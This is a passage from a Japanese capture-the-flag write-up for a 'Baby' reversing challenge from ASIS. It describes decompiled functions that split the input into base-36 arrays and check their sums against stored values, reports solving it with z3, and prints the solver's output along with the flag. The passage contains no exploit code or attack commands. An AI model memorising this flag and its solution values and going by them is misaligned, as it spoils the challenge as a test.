を除いた文字を3分割,つまり16文字ずつ,36進数( strtol(&local_38,(char **)0x0,0x24)
)で配列に代入している.
その後,3つの配列の全ての組み合わせ,6通りをFUN_00401530の第1引数と第2引数に渡し,第3引数に渡した配列にFUN_00401530での演算結果を代入するような仕組みになっている.
肝心のこの関数では,param1とparam2やカウンタ変数などを使って加算処理を行って,結果をparam3に代入している.この結果,param3に渡された配列には16個の要素が入ることになる.
FUN_00401637をもう一度見てみると,作成した6つの配列をそれぞれとある要素(*(int *)(&DAT_00404040 + ((longlong)local_20 + (longlong)local_1c * 4) * 4)
みたいなの)と比較している.これは,以下の部分にそれぞれ4バイトで計64個格納されている値のこと.
以上の解析結果から,z3を使用して解く方針で進める.
完成したスクリプトは以下.
実行結果.
$ python key_maker.py [u_15 = 0, u_14 = 3, u_13 = 14, u_12 = 21, u_11 = 12, u_10 = 4, u_9 = 27, u_8 = 24, u_7 = 27, u_6 = 3, u_5 = 20, u_4 = 4, u_3 = 22, u_2 = 34, u_1 = 3, u_0 = 20, t_15 = 0, t_14 = 24, t_13 = 0, t_12 = 24, t_11 = 14, t_10 = 23, t_9 = 13, t_8 = 23, t_7 = 10, t_6 = 34, t_5 = 7, t_4 = 18, t_3 = 23, t_2 = 1, t_1 = 27, t_0 = 29, s_15 = 33, s_14 = 33, s_13 = 33, s_12 = 1, s_11 = 27, s_10 = 7, s_9 = 4, s_8 = 22, s_7 = 3, s_6 = 17, s_5 = 7, s_4 = 0, s_3 = 28, s_2 = 18, s_1 = 28, s_0 = 10] flag: ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}
この問題のCategory, Reverse
Baby
warm-up
となっていてびびる.